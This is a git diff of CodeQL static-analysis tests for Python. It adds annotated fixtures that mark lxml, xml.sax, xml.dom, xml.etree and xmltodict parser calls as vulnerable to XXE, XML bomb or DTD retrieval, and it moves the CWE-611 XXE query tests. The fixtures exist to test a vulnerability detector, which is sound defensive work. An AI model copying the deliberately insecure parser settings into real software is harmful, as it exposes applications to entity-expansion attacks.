diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/views.py b/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/views.py
index 2a3ed803507..0ba978ea365 100644
--- a/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/views.py
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/testapp/views.py
@@ -2,6 +2,7 @@ from django.http import HttpRequest, HttpResponse
 from django.views.generic import View, RedirectView
 from django.views.decorators.csrf import csrf_exempt
 
+from .models import MyModel
 
 def foo(request: HttpRequest):  # $requestHandler
     return HttpResponse("foo")  # $HttpResponse
@@ -45,3 +46,13 @@ class CustomRedirectView(RedirectView):
 class CustomRedirectView2(RedirectView):
 
     url = "https://example.com/%(foo)s"
+
+
+# Test of FileField upload_to functions
+def file_test(request: HttpRequest): # $ requestHandler
+    model = MyModel(upload=request.FILES['fieldname'])
+    try:
+        model.save()
+    except NotImplementedError:
+        pass
+    return HttpResponse("ok") # $ HttpResponse
diff --git a/python/ql/test/library-tests/frameworks/django-v2-v3/testproj/settings.py b/python/ql/test/library-tests/frameworks/django-v2-v3/testproj/settings.py
index 5343182c1c9..f376ae752d8 100644
--- a/python/ql/test/library-tests/frameworks/django-v2-v3/testproj/settings.py
+++ b/python/ql/test/library-tests/frameworks/django-v2-v3/testproj/settings.py
@@ -40,7 +40,7 @@ INSTALLED_APPS = [
     'django.contrib.staticfiles',
 ]
 
-MIDDLEWARE = [
+MIDDLEWARE = [  # $CsrfProtectionSetting=false
     'django.middleware.security.SecurityMiddleware',
     'django.contrib.sessions.middleware.SessionMiddleware',
     'django.middleware.common.CommonMiddleware',
@@ -74,12 +74,12 @@ WSGI_APPLICATION = 'testproj.wsgi.application'
 # Database
 # https://docs.djangoproject.com/en/3.1/ref/settings/#databases
 
-# DATABASES = {
-#     'default': {
-#         'ENGINE': 'django.db.backends.sqlite3',
-#         'NAME': BASE_DIR / 'db.sqlite3',
-#     }
-# }
+DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': BASE_DIR / 'db.sqlite3',
+    }
+}
 
 
 # Password validation
diff --git a/python/ql/test/library-tests/frameworks/flask/taint_test.py b/python/ql/test/library-tests/frameworks/flask/taint_test.py
index 1c1f88eab68..dcca8ff6681 100644
--- a/python/ql/test/library-tests/frameworks/flask/taint_test.py
+++ b/python/ql/test/library-tests/frameworks/flask/taint_test.py
@@ -189,6 +189,7 @@ def test_taint(name = "World!", number="0", foo="foo"):  # $requestHandler route
     a = request.args
     b = a
     gl = b.getlist
+    files = request.files
     ensure_tainted(
         request.args, # $ tainted
         a, # $ tainted
@@ -202,6 +203,8 @@ def test_taint(name = "World!", number="0", foo="foo"):  # $requestHandler route
         a.getlist('key'), # $ tainted
         b.getlist('key'), # $ tainted
         gl('key'), # $ tainted
+
+        files.get('key').filename, # $ tainted
     )
 
     # aliasing tests
diff --git a/python/ql/test/library-tests/frameworks/lxml/parsing.py b/python/ql/test/library-tests/frameworks/lxml/parsing.py
new file mode 100644
index 00000000000..63cdc79b4c1
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/lxml/parsing.py
@@ -0,0 +1,67 @@
+from io import StringIO
+import lxml.etree
+
+x = "some xml"
+
+# different parsing methods
+lxml.etree.fromstring(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+lxml.etree.fromstring(text=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+
+lxml.etree.fromstringlist([x]) # $ decodeFormat=XML decodeInput=List xmlVuln='XXE' decodeOutput=lxml.etree.fromstringlist(..)
+lxml.etree.fromstringlist(strings=[x]) # $ decodeFormat=XML decodeInput=List xmlVuln='XXE' decodeOutput=lxml.etree.fromstringlist(..)
+
+lxml.etree.XML(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.XML(..)
+lxml.etree.XML(text=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.XML(..)
+
+lxml.etree.XMLID(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.XMLID(..)
+lxml.etree.XMLID(text=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.XMLID(..)
+
+xml_file = 'xml_file'
+lxml.etree.parse(xml_file) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XXE' decodeOutput=lxml.etree.parse(..) getAPathArgument=xml_file
+lxml.etree.parse(source=xml_file) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XXE' decodeOutput=lxml.etree.parse(..) getAPathArgument=xml_file
+
+lxml.etree.parseid(xml_file) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XXE' decodeOutput=lxml.etree.parseid(..) getAPathArgument=xml_file
+lxml.etree.parseid(source=xml_file) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XXE' decodeOutput=lxml.etree.parseid(..) getAPathArgument=xml_file
+
+lxml.etree.iterparse(xml_file) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XXE' decodeOutput=lxml.etree.iterparse(..) getAPathArgument=xml_file
+lxml.etree.iterparse(source=xml_file) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XXE' decodeOutput=lxml.etree.iterparse(..) getAPathArgument=xml_file
+
+# With default parsers (nothing changed)
+parser = lxml.etree.XMLParser()
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+
+parser = lxml.etree.get_default_parser()
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+
+# manual use of feed method
+parser = lxml.etree.XMLParser()
+parser.feed(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE'
+parser.feed(data=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE'
+parser.close() # $ decodeOutput=parser.close()
+
+# XXE-safe
+parser = lxml.etree.XMLParser(resolve_entities=False)
+lxml.etree.fromstring(x, parser) # $ decodeFormat=XML decodeInput=x decodeOutput=lxml.etree.fromstring(..)
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x decodeOutput=lxml.etree.fromstring(..)
+
+# XXE-vuln
+parser = lxml.etree.XMLParser(resolve_entities=True)
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+
+# Billion laughs vuln (also XXE)
+parser = lxml.etree.XMLParser(huge_tree=True)
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+
+# Safe for both Billion laughs and XXE
+parser = lxml.etree.XMLParser(resolve_entities=False, huge_tree=True)
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x decodeOutput=lxml.etree.fromstring(..)
+
+# DTD retrival vuln (also XXE)
+parser = lxml.etree.XMLParser(load_dtd=True, no_network=False)
+lxml.etree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x xmlVuln='DTD retrieval' xmlVuln='XXE' decodeOutput=lxml.etree.fromstring(..)
+
+# iterparse configurations ... this doesn't use a parser argument but takes MOST (!) of
+# the normal XMLParser arguments. Specifically, it doesn't allow disabling XXE :O
+
+lxml.etree.iterparse(xml_file, huge_tree=True) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='XML bomb' xmlVuln='XXE' decodeOutput=lxml.etree.iterparse(..) getAPathArgument=xml_file
+lxml.etree.iterparse(xml_file, load_dtd=True, no_network=False) # $ decodeFormat=XML decodeInput=xml_file xmlVuln='DTD retrieval' xmlVuln='XXE' decodeOutput=lxml.etree.iterparse(..) getAPathArgument=xml_file
diff --git a/python/ql/test/library-tests/frameworks/lxml/test.py b/python/ql/test/library-tests/frameworks/lxml/test.py
deleted file mode 100644
index e8ce583503a..00000000000
--- a/python/ql/test/library-tests/frameworks/lxml/test.py
+++ /dev/null
@@ -1,21 +0,0 @@
-from lxml import etree
-from io import StringIO
-
-def test_parse():
-    tree = etree.parse(StringIO('<foo><bar></bar></foo>'))
-    r = tree.xpath('/foo/bar')  # $ getXPath='/foo/bar'
-
-def test_XPath_class():
-    root = etree.XML("<root><a>TEXT</a></root>")
-    find_text = etree.XPath("path")  # $ constructedXPath="path"
-    text = find_text(root)[0]
-
-def test_ETXpath_class():
-    root = etree.XML("<root><a>TEXT</a></root>")
-    find_text = etree.ETXPath("path")  # $ constructedXPath="path"
-    text = find_text(root)[0]
-
-def test_XPathEvaluator_class():
-    root = etree.XML("<root><a>TEXT</a></root>")
-    search_root = etree.XPathEvaluator(root)
-    text = search_root("path")[0]  # $ getXPath="path"
diff --git a/python/ql/test/library-tests/frameworks/lxml/xpath.py b/python/ql/test/library-tests/frameworks/lxml/xpath.py
new file mode 100644
index 00000000000..f67c8dae17c
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/lxml/xpath.py
@@ -0,0 +1,21 @@
+from lxml import etree
+from io import StringIO
+
+def test_parse():
+    tree = etree.parse(StringIO('<foo><bar></bar></foo>')) # $ decodeFormat=XML decodeInput=StringIO(..) decodeOutput=etree.parse(..) xmlVuln='XXE' getAPathArgument=StringIO(..)
+    r = tree.xpath('/foo/bar')  # $ getXPath='/foo/bar'
+
+def test_XPath_class():
+    root = etree.XML("<root><a>TEXT</a></root>") # $ decodeFormat=XML decodeInput="<root><a>TEXT</a></root>" decodeOutput=etree.XML(..) xmlVuln='XXE'
+    find_text = etree.XPath("path")  # $ constructedXPath="path"
+    text = find_text(root)[0]
+
+def test_ETXpath_class():
+    root = etree.XML("<root><a>TEXT</a></root>") # $ decodeFormat=XML decodeInput="<root><a>TEXT</a></root>" decodeOutput=etree.XML(..) xmlVuln='XXE'
+    find_text = etree.ETXPath("path")  # $ constructedXPath="path"
+    text = find_text(root)[0]
+
+def test_XPathEvaluator_class():
+    root = etree.XML("<root><a>TEXT</a></root>") # $ decodeFormat=XML decodeInput="<root><a>TEXT</a></root>" decodeOutput=etree.XML(..) xmlVuln='XXE'
+    search_root = etree.XPathEvaluator(root)
+    text = search_root("path")[0]  # $ getXPath="path"
diff --git a/python/ql/test/library-tests/frameworks/stdlib/XPathExecution.py b/python/ql/test/library-tests/frameworks/stdlib/XPathExecution.py
index 98bdaefac27..bf7dd08185b 100644
--- a/python/ql/test/library-tests/frameworks/stdlib/XPathExecution.py
+++ b/python/ql/test/library-tests/frameworks/stdlib/XPathExecution.py
@@ -2,7 +2,7 @@ match = "dc:title"
 ns = {'dc': 'http://purl.org/dc/elements/1.1/'}
 
 import xml.etree.ElementTree as ET
-tree = ET.parse('country_data.xml')
+tree = ET.parse('country_data.xml') # $ decodeFormat=XML decodeInput='country_data.xml' decodeOutput=ET.parse(..) xmlVuln='XML bomb' getAPathArgument='country_data.xml'
 root = tree.getroot()
 
 root.find(match, namespaces=ns)  # $ getXPath=match
@@ -10,8 +10,13 @@ root.findall(match, namespaces=ns)  # $ getXPath=match
 root.findtext(match, default=None, namespaces=ns)  # $ getXPath=match
 
 tree = ET.ElementTree()
-tree.parse("index.xhtml")
+tree.parse("index.xhtml") # $ decodeFormat=XML decodeInput="index.xhtml" decodeOutput=tree.parse(..) xmlVuln='XML bomb' getAPathArgument="index.xhtml"
 
 tree.find(match, namespaces=ns)  # $ getXPath=match
 tree.findall(match, namespaces=ns)  # $ getXPath=match
 tree.findtext(match, default=None, namespaces=ns)  # $ getXPath=match
+
+parser = ET.XMLParser()
+parser.feed("<foo>bar</foo>") # $ decodeFormat=XML decodeInput="<foo>bar</foo>" xmlVuln='XML bomb'
+tree = parser.close() # $ decodeOutput=parser.close()
+tree.find(match, namespaces=ns)  # $ getXPath=match
diff --git a/python/ql/test/library-tests/frameworks/stdlib/io_test.py b/python/ql/test/library-tests/frameworks/stdlib/io_test.py
new file mode 100644
index 00000000000..98d60445e1c
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/stdlib/io_test.py
@@ -0,0 +1,47 @@
+from io import StringIO, BytesIO
+
+TAINTED_STRING = "TS"
+TAINTED_BYTES = b"TB"
+
+def ensure_tainted(*args):
+    print("ensure_tainted")
+    for arg in args:
+        print("", repr(arg))
+
+
+def test_stringio():
+    ts = TAINTED_STRING
+
+    x = StringIO()
+    x.write(ts)
+    x.seek(0)
+
+    ensure_tainted(
+        StringIO(ts), # $ tainted
+        StringIO(initial_value=ts), # $ tainted
+        x, # $ tainted
+
+        x.read(), # $ tainted
+        StringIO(ts).read(), # $ tainted
+    )
+
+
+def test_bytesio():
+    tb = TAINTED_BYTES
+
+    x = BytesIO()
+    x.write(tb)
+    x.seek(0)
+
+    ensure_tainted(
+        BytesIO(tb), # $ tainted
+        BytesIO(initial_bytes=tb), # $ tainted
+        x, # $ tainted
+
+        x.read(), # $ tainted
+        BytesIO(tb).read(), # $ tainted
+    )
+
+
+test_stringio()
+test_bytesio()
diff --git a/python/ql/test/library-tests/frameworks/stdlib/xml_dom.py b/python/ql/test/library-tests/frameworks/stdlib/xml_dom.py
new file mode 100644
index 00000000000..8d511c51733
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/stdlib/xml_dom.py
@@ -0,0 +1,31 @@
+from io import StringIO
+import xml.dom.minidom
+import xml.dom.pulldom
+import xml.sax
+
+x = "some xml"
+
+# minidom
+xml.dom.minidom.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.dom.minidom.parse(..) getAPathArgument=StringIO(..)
+xml.dom.minidom.parse(file=StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.dom.minidom.parse(..) getAPathArgument=StringIO(..)
+
+xml.dom.minidom.parseString(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.dom.minidom.parseString(..)
+xml.dom.minidom.parseString(string=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.dom.minidom.parseString(..)
+
+
+# pulldom
+xml.dom.pulldom.parse(StringIO(x))['START_DOCUMENT'][1] # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.dom.pulldom.parse(..) getAPathArgument=StringIO(..)
+xml.dom.pulldom.parse(stream_or_string=StringIO(x))['START_DOCUMENT'][1] # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.dom.pulldom.parse(..) getAPathArgument=StringIO(..)
+
+xml.dom.pulldom.parseString(x)['START_DOCUMENT'][1] # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.dom.pulldom.parseString(..)
+xml.dom.pulldom.parseString(string=x)['START_DOCUMENT'][1] # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.dom.pulldom.parseString(..)
+
+
+# These are based on SAX parses, and you can specify your own, so you can expose yourself to XXE (yay/)
+parser = xml.sax.make_parser()
+parser.setFeature(xml.sax.handler.feature_external_ges, True)
+xml.dom.minidom.parse(StringIO(x), parser) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' decodeOutput=xml.dom.minidom.parse(..) getAPathArgument=StringIO(..)
+xml.dom.minidom.parse(StringIO(x), parser=parser) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' decodeOutput=xml.dom.minidom.parse(..) getAPathArgument=StringIO(..)
+
+xml.dom.pulldom.parse(StringIO(x), parser) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' decodeOutput=xml.dom.pulldom.parse(..) getAPathArgument=StringIO(..)
+xml.dom.pulldom.parse(StringIO(x), parser=parser) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' decodeOutput=xml.dom.pulldom.parse(..) getAPathArgument=StringIO(..)
diff --git a/python/ql/test/library-tests/frameworks/stdlib/xml_etree.py b/python/ql/test/library-tests/frameworks/stdlib/xml_etree.py
new file mode 100644
index 00000000000..441f9adc87a
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/stdlib/xml_etree.py
@@ -0,0 +1,49 @@
+from io import StringIO
+import xml.etree.ElementTree
+
+x = "some xml"
+
+# Parsing in different ways
+xml.etree.ElementTree.fromstring(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.fromstring(..)
+xml.etree.ElementTree.fromstring(text=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.fromstring(..)
+
+xml.etree.ElementTree.fromstringlist([x]) # $ decodeFormat=XML decodeInput=List xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.fromstringlist(..)
+xml.etree.ElementTree.fromstringlist(sequence=[x]) # $ decodeFormat=XML decodeInput=List xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.fromstringlist(..)
+
+xml.etree.ElementTree.XML(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.XML(..)
+xml.etree.ElementTree.XML(text=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.XML(..)
+
+xml.etree.ElementTree.XMLID(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.XMLID(..)
+xml.etree.ElementTree.XMLID(text=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.XMLID(..)
+
+xml.etree.ElementTree.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.parse(..) getAPathArgument=StringIO(..)
+xml.etree.ElementTree.parse(source=StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.parse(..) getAPathArgument=StringIO(..)
+
+xml.etree.ElementTree.iterparse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.iterparse(..) getAPathArgument=StringIO(..)
+xml.etree.ElementTree.iterparse(source=StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.iterparse(..) getAPathArgument=StringIO(..)
+
+tree = xml.etree.ElementTree.ElementTree()
+tree.parse("file.xml") # $ decodeFormat=XML decodeInput="file.xml" xmlVuln='XML bomb' decodeOutput=tree.parse(..) getAPathArgument="file.xml"
+tree.parse(source="file.xml") # $ decodeFormat=XML decodeInput="file.xml" xmlVuln='XML bomb' decodeOutput=tree.parse(..) getAPathArgument="file.xml"
+
+
+# With parsers (no options available to disable/enable security features)
+parser = xml.etree.ElementTree.XMLParser()
+xml.etree.ElementTree.fromstring(x, parser=parser) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xml.etree.ElementTree.fromstring(..)
+
+# manual use of feed method
+parser = xml.etree.ElementTree.XMLParser()
+parser.feed(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb'
+parser.feed(data=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb'
+parser.close() # $ decodeOutput=parser.close()
+
+# manual use of feed method on XMLPullParser
+parser = xml.etree.ElementTree.XMLPullParser()
+parser.feed(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb'
+parser.feed(data=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb'
+parser.close() # $ decodeOutput=parser.close()
+
+# note: it's technically possible to use the thing wrapper func `fromstring` with an
+# `lxml` parser, and thereby change what vulnerabilities you are exposed to.. but it
+# seems very unlikely that anyone would do this, so we have intentionally not added any
+# tests for this.
diff --git a/python/ql/test/library-tests/frameworks/stdlib/xml_sax.py b/python/ql/test/library-tests/frameworks/stdlib/xml_sax.py
new file mode 100644
index 00000000000..6199fd76cc1
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/stdlib/xml_sax.py
@@ -0,0 +1,64 @@
+from io import StringIO
+import xml.sax
+
+x = "some xml"
+
+class MainHandler(xml.sax.ContentHandler):
+    def __init__(self):
+        self._result = []
+
+    def characters(self, data):
+        self._result.append(data)
+
+xml.sax.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+xml.sax.parse(source=StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+
+xml.sax.parseString(x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb'
+xml.sax.parseString(string=x) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb'
+
+parser = xml.sax.make_parser()
+parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+parser.parse(source=StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+
+# You can make it vuln to both XXE and DTD retrieval by setting this flag
+# see https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
+parser = xml.sax.make_parser()
+parser.setFeature(xml.sax.handler.feature_external_ges, True)
+parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' getAPathArgument=StringIO(..)
+
+parser = xml.sax.make_parser()
+parser.setFeature(xml.sax.handler.feature_external_ges, False)
+parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+
+# Forward Type Tracking test
+def func(cond):
+    parser = xml.sax.make_parser()
+    if cond:
+        parser.setFeature(xml.sax.handler.feature_external_ges, True)
+        parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' getAPathArgument=StringIO(..)
+    else:
+        parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+
+# make it vuln, then making it safe
+# a bit of an edge-case, but is nice to be able to handle.
+parser = xml.sax.make_parser()
+parser.setFeature(xml.sax.handler.feature_external_ges, True)
+parser.setFeature(xml.sax.handler.feature_external_ges, False)
+parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' getAPathArgument=StringIO(..)
+
+def check_conditional_assignment(cond):
+    parser = xml.sax.make_parser()
+    if cond:
+        parser.setFeature(xml.sax.handler.feature_external_ges, True)
+    else:
+        parser.setFeature(xml.sax.handler.feature_external_ges, False)
+    parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' getAPathArgument=StringIO(..)
+
+def check_conditional_assignment2(cond):
+    parser = xml.sax.make_parser()
+    if cond:
+        flag_value = True
+    else:
+        flag_value = False
+    parser.setFeature(xml.sax.handler.feature_external_ges, flag_value)
+    parser.parse(StringIO(x)) # $ decodeFormat=XML decodeInput=StringIO(..) xmlVuln='XML bomb' xmlVuln='DTD retrieval' xmlVuln='XXE' getAPathArgument=StringIO(..)
diff --git a/python/ql/test/library-tests/frameworks/xmltodict/ConceptsTest.expected b/python/ql/test/library-tests/frameworks/xmltodict/ConceptsTest.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/python/ql/test/library-tests/frameworks/xmltodict/ConceptsTest.ql b/python/ql/test/library-tests/frameworks/xmltodict/ConceptsTest.ql
new file mode 100644
index 00000000000..b557a0bccb6
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/xmltodict/ConceptsTest.ql
@@ -0,0 +1,2 @@
+import python
+import experimental.meta.ConceptsTest
diff --git a/python/ql/test/library-tests/frameworks/xmltodict/test.py b/python/ql/test/library-tests/frameworks/xmltodict/test.py
new file mode 100644
index 00000000000..ef236f7796c
--- /dev/null
+++ b/python/ql/test/library-tests/frameworks/xmltodict/test.py
@@ -0,0 +1,8 @@
+import xmltodict
+
+x = "some xml"
+
+xmltodict.parse(x) # $ decodeFormat=XML decodeInput=x decodeOutput=xmltodict.parse(..)
+xmltodict.parse(xml_input=x) # $ decodeFormat=XML decodeInput=x decodeOutput=xmltodict.parse(..)
+
+xmltodict.parse(x, disable_entities=False) # $ decodeFormat=XML decodeInput=x xmlVuln='XML bomb' decodeOutput=xmltodict.parse(..)
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611/XmlEntityInjection.expected b/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.expected
similarity index 58%
rename from python/ql/test/experimental/query-tests/Security/CWE-611/XmlEntityInjection.expected
rename to python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.expected
index 25594b4ddaa..004369d79cf 100644
--- a/python/ql/test/experimental/query-tests/Security/CWE-611/XmlEntityInjection.expected
+++ b/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.expected
@@ -2,9 +2,6 @@ edges
 | test.py:8:19:8:25 | ControlFlowNode for request | test.py:8:19:8:30 | ControlFlowNode for Attribute |
 | test.py:8:19:8:30 | ControlFlowNode for Attribute | test.py:8:19:8:45 | ControlFlowNode for Subscript |
 | test.py:8:19:8:45 | ControlFlowNode for Subscript | test.py:9:34:9:44 | ControlFlowNode for xml_content |
-| test.py:13:19:13:25 | ControlFlowNode for request | test.py:13:19:13:30 | ControlFlowNode for Attribute |
-| test.py:13:19:13:30 | ControlFlowNode for Attribute | test.py:13:19:13:45 | ControlFlowNode for Subscript |
-| test.py:13:19:13:45 | ControlFlowNode for Subscript | test.py:15:34:15:44 | ControlFlowNode for xml_content |
 | test.py:19:19:19:25 | ControlFlowNode for request | test.py:19:19:19:30 | ControlFlowNode for Attribute |
 | test.py:19:19:19:30 | ControlFlowNode for Attribute | test.py:19:19:19:45 | ControlFlowNode for Subscript |
 | test.py:19:19:19:45 | ControlFlowNode for Subscript | test.py:30:34:30:44 | ControlFlowNode for xml_content |
@@ -13,15 +10,11 @@ nodes
 | test.py:8:19:8:30 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
 | test.py:8:19:8:45 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
 | test.py:9:34:9:44 | ControlFlowNode for xml_content | semmle.label | ControlFlowNode for xml_content |
-| test.py:13:19:13:25 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
-| test.py:13:19:13:30 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
-| test.py:13:19:13:45 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
-| test.py:15:34:15:44 | ControlFlowNode for xml_content | semmle.label | ControlFlowNode for xml_content |
 | test.py:19:19:19:25 | ControlFlowNode for request | semmle.label | ControlFlowNode for request |
 | test.py:19:19:19:30 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute |
 | test.py:19:19:19:45 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript |
 | test.py:30:34:30:44 | ControlFlowNode for xml_content | semmle.label | ControlFlowNode for xml_content |
 subpaths
 #select
-| test.py:9:34:9:44 | ControlFlowNode for xml_content | test.py:8:19:8:25 | ControlFlowNode for request | test.py:9:34:9:44 | ControlFlowNode for xml_content | $@ XML input is constructed from a $@ and is vulnerable to: XXE. | test.py:9:34:9:44 | ControlFlowNode for xml_content | This | test.py:8:19:8:25 | ControlFlowNode for request | user-provided value |
-| test.py:30:34:30:44 | ControlFlowNode for xml_content | test.py:19:19:19:25 | ControlFlowNode for request | test.py:30:34:30:44 | ControlFlowNode for xml_content | $@ XML input is constructed from a $@ and is vulnerable to: Billion Laughs, DTD retrieval, Quadratic Blowup, XXE. | test.py:30:34:30:44 | ControlFlowNode for xml_content | This | test.py:19:19:19:25 | ControlFlowNode for request | user-provided value |
+| test.py:9:34:9:44 | ControlFlowNode for xml_content | test.py:8:19:8:25 | ControlFlowNode for request | test.py:9:34:9:44 | ControlFlowNode for xml_content | A $@ is parsed as XML without guarding against external entity expansion. | test.py:8:19:8:25 | ControlFlowNode for request | user-provided value |
+| test.py:30:34:30:44 | ControlFlowNode for xml_content | test.py:19:19:19:25 | ControlFlowNode for request | test.py:30:34:30:44 | ControlFlowNode for xml_content | A $@ is parsed as XML without guarding against external entity expansion. | test.py:19:19:19:25 | ControlFlowNode for request | user-provided value |
diff --git a/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref b/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref
new file mode 100644
index 00000000000..62a3f7f22d9
--- /dev/null
+++ b/python/ql/test/query-tests/Security/CWE-611-Xxe/Xxe.qlref
@@ -0,0 +1 @@
+Security/CWE-611/Xxe.ql
diff --git a/python/ql/test/experimental/query-tests/Security/CWE-611/test.py b/python/ql/test/query-tests/Security/CWE-611-Xxe/test.py
similarity index 100%
rename from python/ql/test/experimental/query-tests/Security/CWE-611/test.py
rename to python/ql/test/query-tests/Security/CWE-611-Xxe/test.py
